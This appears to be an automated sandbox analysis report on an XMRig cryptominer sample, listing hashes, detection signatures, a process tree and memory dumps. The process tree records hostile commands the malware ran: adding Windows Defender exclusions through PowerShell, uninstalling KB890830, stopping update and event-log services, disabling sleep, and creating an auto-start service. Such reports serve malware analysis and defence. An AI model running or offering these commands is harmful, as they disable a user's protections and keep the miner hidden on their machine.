Analysis

  • max time kernel
    119s
  • max time network
    97s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/08/2024, 14:33

General

  • Target

    be36c43b8a73e02986e356deaaba55c0N.exe

  • Size

    5.4MB

  • MD5

    be36c43b8a73e02986e356deaaba55c0

  • SHA1

    491d65528630f5d2f312b3a8a40fc17e065b9679

  • SHA256

    fb352ef8588367db651f036b47629bd25d08bafa20c743e72147d6538e9a74a5

  • SHA512

    6c3f40d57deab392297a952bb19f31002cd875597c8c8d6a42f867db132422c58ba83f99e7bce86b93b4867d4c2281c1a88282e7d2a161081155a936a9c22b08

  • SSDEEP

    98304:34Gr/W2hRkTwVNt6MkTi+XAVd18EjU6+cVX6IwUu:3jr/TMwVNtaP4KEjl6S

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 11 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 16 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 46 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\be36c43b8a73e02986e356deaaba55c0N.exe
    "C:\Users\Admin\AppData\Local\Temp\be36c43b8a73e02986e356deaaba55c0N.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:512
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4628
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1648
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:2668
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:332
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:4496
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:1388
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:1844
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:3824
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2220
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4356
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:3076
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2636
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "NCUDPJVW"
        2⤵
        • Launches sc.exe
        PID:3284
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "NCUDPJVW" binpath= "C:\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe" start= "auto"
        2⤵
        • Launches sc.exe
        PID:1452
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        2⤵
        • Launches sc.exe
        PID:1864
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "NCUDPJVW"
        2⤵
        • Launches sc.exe
        PID:4300
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\be36c43b8a73e02986e356deaaba55c0N.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4312
        • C:\Windows\system32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:2660
      • C:\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe
        C:\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe
        1⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3508
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1656
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2204
          • C:\Windows\system32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            3⤵
              PID:4796
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop UsoSvc
            2⤵
            • Launches sc.exe
            PID:1220
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            2⤵
            • Launches sc.exe
            PID:220
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            2⤵
            • Launches sc.exe
            PID:2280
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            2⤵
            • Launches sc.exe
            PID:5112
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            2⤵
            • Launches sc.exe
            PID:3944
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:4372
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:1048
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:3056
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:544
          • C:\Windows\system32\conhost.exe
            C:\Windows\system32\conhost.exe
            2⤵
              PID:4368
            • C:\Windows\system32\nslookup.exe
              nslookup.exe
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1032

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                • C:\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe

                  Filesize

                  5.4MB

                  MD5

                  be36c43b8a73e02986e356deaaba55c0

                  SHA1

                  491d65528630f5d2f312b3a8a40fc17e065b9679

                  SHA256

                  fb352ef8588367db651f036b47629bd25d08bafa20c743e72147d6538e9a74a5

                  SHA512

                  6c3f40d57deab392297a952bb19f31002cd875597c8c8d6a42f867db132422c58ba83f99e7bce86b93b4867d4c2281c1a88282e7d2a161081155a936a9c22b08

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h3zk2j24.qmh.ps1

                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • memory/1032-65-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/1032-58-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/1032-71-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/1032-69-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/1032-72-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/1032-64-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/1032-61-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/1032-68-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/1032-67-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/1032-73-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/1032-56-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/1032-57-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/1032-59-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/1032-60-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/1032-66-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/1032-62-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/1032-63-0x000002CE3A6C0000-0x000002CE3A6E0000-memory.dmp

                  Filesize

                  128KB

                • memory/1656-39-0x00000180CCE20000-0x00000180CCE2A000-memory.dmp

                  Filesize

                  40KB

                • memory/1656-42-0x00000180CCFD0000-0x00000180CCFEA000-memory.dmp

                  Filesize

                  104KB

                • memory/1656-37-0x00000180CCD40000-0x00000180CCD5C000-memory.dmp

                  Filesize

                  112KB

                • memory/1656-38-0x00000180CCD60000-0x00000180CCE15000-memory.dmp

                  Filesize

                  724KB

                • memory/1656-40-0x00000180CCF90000-0x00000180CCFAC000-memory.dmp

                  Filesize

                  112KB

                • memory/1656-41-0x00000180CCF70000-0x00000180CCF7A000-memory.dmp

                  Filesize

                  40KB

                • memory/1656-45-0x00000180CCFC0000-0x00000180CCFCA000-memory.dmp

                  Filesize

                  40KB

                • memory/1656-44-0x00000180CCFB0000-0x00000180CCFB6000-memory.dmp

                  Filesize

                  24KB

                • memory/1656-43-0x00000180CCF80000-0x00000180CCF88000-memory.dmp

                  Filesize

                  32KB

                • memory/4368-52-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                • memory/4368-48-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                • memory/4368-55-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                • memory/4368-51-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                • memory/4368-50-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                • memory/4368-49-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                • memory/4628-0-0x00007FF81E623000-0x00007FF81E625000-memory.dmp

                  Filesize

                  8KB

                • memory/4628-15-0x00007FF81E620000-0x00007FF81F0E1000-memory.dmp

                  Filesize

                  10.8MB

                • memory/4628-12-0x00007FF81E620000-0x00007FF81F0E1000-memory.dmp

                  Filesize

                  10.8MB

                • memory/4628-11-0x00007FF81E620000-0x00007FF81F0E1000-memory.dmp

                  Filesize

                  10.8MB

                • memory/4628-1-0x000001F5F5E00000-0x000001F5F5E22000-memory.dmp

                  Filesize

                  136KB